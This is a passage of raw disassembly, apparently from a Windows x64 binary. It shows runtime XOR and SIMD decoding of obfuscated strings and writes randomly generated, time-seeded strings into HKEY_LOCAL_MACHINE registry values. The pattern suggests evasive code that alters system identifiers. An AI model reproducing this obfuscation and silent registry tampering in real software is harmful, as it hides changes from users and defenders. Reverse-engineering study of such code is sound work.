pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c1bc0
cmp r8d, 0x11
jge 0x1400c1d00
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c1cd0
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x40]
cmp rsi, r15
jae 0x1400c1d41
lea rax, [rsi + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp r15, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c1d59
lea rcx, [rbp - 0x50]
call fcn.140060790
movups xmm4, xmmword [0x1401725f0]
movzx r12d, byte [0x140172600]
inc edi
cmp edi, 0x19
jge 0x1400c1d6d
mov r15, qword [rbp - 0x38]
mov rsi, qword [rbp - 0x40]
jmp 0x1400c1b40
mov r9, r14
lea r8, [0x14016cfc4]
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140062370
mov r9, r14
lea r8, [0x14016cfc0]
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.140062370
lea r10, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r10, qword [rbp - 0x50]
movups xmm0, xmmword [str.s_CAASEpXH_KLZ_t_1C]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x140172fe0]
mov dword [rsp + 0x50], eax
cmp byte [0x140172fe3], 0
je 0x1400c1f50
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1f15
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c1e10
cmp r8d, 0x14
jge 0x1400c1f50
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400c1f20
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c1f7f
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x50]
call fcn.14003d760
nop
lea rcx, [rbp - 0x30]
call fcn.14003d760
movsd xmm0, qword [0x140172038]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140172040]
mov dword [rbp - 0x68], eax
cmp byte [0x140172043], 0
je 0x1400c2110
mov r8d, ebx
cmp r13d, 2
jl 0x1400c20cc
movdqa xmm4, xmmword [0x140176320]
movdqa xmm2, xmmword [0x140176070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
mov eax, dword [0x1401761e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140172038]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140176090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c20e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp - 0x70]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400c2130
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.1400591d0
nop
mov eax, dword [str.bPW_X6]
mov dword [rbp - 0x70], eax
movzx ecx, word [0x140173ac8]
mov word [rbp - 0x6c], cx
movzx eax, byte [0x140173aca]
mov byte [rbp - 0x70], 0x52
xor byte [rbp - 0x6f], 0x31
xor byte [rbp - 0x6e], 0x32
xor byte [rbp - 0x6d], 0x33
xor cl, 0x34
mov byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], 0x35
xor al, 0x36
mov byte [rbp - 0x6a], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rbp - 0x70]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400c2195
mov r8, rdi
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x30]
call fcn.1400591d0
movups xmm0, xmmword [str.xp_wctdrd]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x140173978]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x140173980]
mov byte [rsp + 0x58], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2315
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c2210
cmp r8d, 0x19
jge 0x1400c2350
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400c2320
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r11d, dword [rbp - 0x40]
inc r11d
lea r10, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r10, qword [rbp - 0x50]
movsd xmm0, qword [str.tTAPFFCQVT_]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x1401724d0]
mov dword [rbp - 0x68], eax
cmp byte [0x1401724d3], 0
je 0x1400c2500
mov r8d, ebx
cmp r13d, 2
jl 0x1400c24b8
movdqa xmm4, xmmword [0x140176320]
movdqa xmm2, xmmword [0x140176070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
mov eax, dword [0x1401761e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.tTAPFFCQVT_]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140176090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c24d0
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r11d, dword [rbp - 0x20]
inc r11d
lea r10, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r10, qword [rbp - 0x30]
movsd xmm0, qword [0x140172f50]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140172f58]
mov dword [rbp - 0x68], eax
cmp byte [0x140172f5b], 0
je 0x1400c26a0
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2662
movdqa xmm4, xmmword [0x140176320]
movdqa xmm2, xmmword [0x140176070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
mov eax, dword [0x1401761e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140172f50]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140176090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c2670
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x30]
call fcn.14003d760
nop
lea rcx, [rbp - 0x50]
call fcn.14003d760
movups xmm0, xmmword [0x140172240]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140172250]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140172260]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [str.PQRS8tTDZWP]
movups xmmword [rbp], xmm1
mov eax, dword [0x140172280]
mov dword [rbp + 0x10], eax
movzx eax, word [0x140172284]
mov word [rbp + 0x14], ax
movzx eax, byte [0x140172286]
mov byte [rbp + 0x16], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2865
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400c2760
cmp r8d, 0x47
jge 0x1400c28a0
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x1400c2870
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c28e0
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov rsi, rbx
mov qword [rbp + 0x30], rbx
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x20], sil
mov edi, ebx
movzx r15d, byte [0x140172600]
movups xmm4, xmmword [0x1401725f0]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c2973
cmp edi, 0x18
je 0x1400c2973
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x20]
call fcn.140058d50
jmp 0x1400c2b4a
movups xmmword [rsp + 0x40], xmm4
mov byte [rsp + 0x50], r15b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2ac5
movdqa xmm6, xmmword [0x140176070]
movdqa xmm5, xmmword [0x140176320]
movdqa xmm7, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c29c0
cmp r8d, 0x11
jge 0x1400c2b00
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c2ad0
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x40]
cmp rsi, r12
jae 0x1400c2b41
lea rax, [rsi + 1]
mov qword [rbp + 0x30], rax
lea rax, [rbp + 0x20]
cmp r12, 0xf
cmova rax, qword [rbp + 0x20]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c2b59
lea rcx, [rbp + 0x20]
call fcn.140060790
movups xmm4, xmmword [0x1401725f0]
movzx r15d, byte [0x140172600]
inc edi
cmp edi, 0x19
jge 0x1400c2b6d
mov r12, qword [rbp + 0x38]
mov rsi, qword [rbp + 0x30]
jmp 0x1400c2940
mov r9, r14
lea r8, [0x14016cfc4]
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.140062370
mov r9, r14
lea r8, [0x14016cfc0]
mov rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.140062370
lea rsi, [rbp + 0x20]
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x38]
cmp r8, 0xf
cmova rsi, rdx
lea r15, [rbp + 0x20]
cmova r15, rdx
add r15, qword [rbp + 0x30]
lea rdi, [rbp + 0x20]
cmp r8, 0xf
cmova rdi, rdx
cmp rdi, r15
je 0x1400c2bec
sub rsi, rdi
nop dword [rax]
movsx ecx, byte [rdi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov byte [rdi + rsi], al
inc rdi
cmp rdi, r15
jne 0x1400c2bd0
mov r8, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x20]
mov edi, dword [rbp + 0x30]
lea rcx, [rbp + 0x20]
mov eax, dword [0x140172858]
mov dword [rbp - 0x70], eax
movzx eax, word [0x14017285c]
mov word [rbp - 0x6c], ax
cmp r8, 0xf
ja 0x1400c2c10
mov rdx, rcx
mov byte [rbp - 0x70], 0x41
xor byte [rbp - 0x6f], 0x31
xor byte [rbp - 0x6e], 0x32
xor byte [rbp - 0x6d], 0x33
xor byte [rbp - 0x6c], 0x34
xor byte [rbp - 0x6b], 0x35
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdx
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c2c53
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r10, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova r10, qword [rbp + 0x20]
mov rax, qword [str.fXVV_r7s_vnd__RXOJfhENJZ_rp]
mov qword [rbp - 0x70], rax
cmp byte [0x140171f0f], 0
je 0x1400c2dc0
cmp r13d, 2
jl 0x1400c2d7b
movdqa xmm4, xmmword [0x140176320]
movdqa xmm2, xmmword [0x140176070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
mov eax, dword [0x1401761e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x70]
xorps xmm2, xmm1
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140176090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
jmp 0x1400c2dc0
lea r9, [rbp - 0x70]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
